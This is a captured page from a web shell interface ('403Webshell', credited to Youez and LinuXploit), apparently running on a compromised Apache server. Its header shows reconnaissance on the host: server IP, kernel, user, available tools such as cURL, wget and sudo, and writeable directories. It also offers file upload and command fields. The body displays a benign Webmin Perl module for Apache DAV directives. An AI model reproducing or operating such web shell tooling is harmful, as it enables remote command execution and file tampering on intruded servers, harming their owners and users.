403Webshell
Server IP : 173.209.174.21  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux wcfs-server 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : nodor ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/webmin/apache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/webmin/apache/mod_dav.pl
# mod_dav.pl
# Editors for DAV directives

sub mod_dav_directives
{
local $rv;
$rv = [ [ 'Dav', 0, 5, 'directory' ],
	[ 'DavDepthInfinity', 0, 5, 'virtual directory' ],
	[ 'DavMinTimeout', 0, 5, 'virtual directory' ],
      ];
return &make_directives($rv, $_[0], "mod_dav");
}

sub edit_Dav
{
local @extra;
push(@extra, "$_[0]->{'value'},$_[0]->{'value'}")
	if ($_[0]->{'value'} && $_[0]->{'value'} !~ /^(on|off)$/i);
return (1, $text{'mod_dav_active'},
	&choice_input($_[0]->{'value'}, "Dav", "",
	      "$text{'yes'},on", "$text{'no'},off", @extra, "$text{'default'},"));
}
sub save_Dav
{
return &parse_choice("Dav");
}

sub edit_DavDepthInfinity
{
return (1, $text{'mod_dav_inf'},
	&choice_input($_[0]->{'value'}, "DavDepthInfinity", "",
	      "$text{'yes'},on", "$text{'no'},off", "$text{'default'},"));
}
sub save_DavDepthInfinity
{
return &parse_choice("DavDepthInfinity");
}

sub edit_DavMinTimeout
{
return (1,
	$text{'mod_dav_timeout'},
	&opt_input($_[0]->{'value'}, "DavMinTimeout", $text{'default'}, 4));
}
sub save_DavMinTimeout
{
return &parse_opt("DavMinTimeout", '^\d+$',
		  $text{'mod_dav_etimeout'});
}

1;


Youez - 2016 - github.com/yon3zu
LinuXploit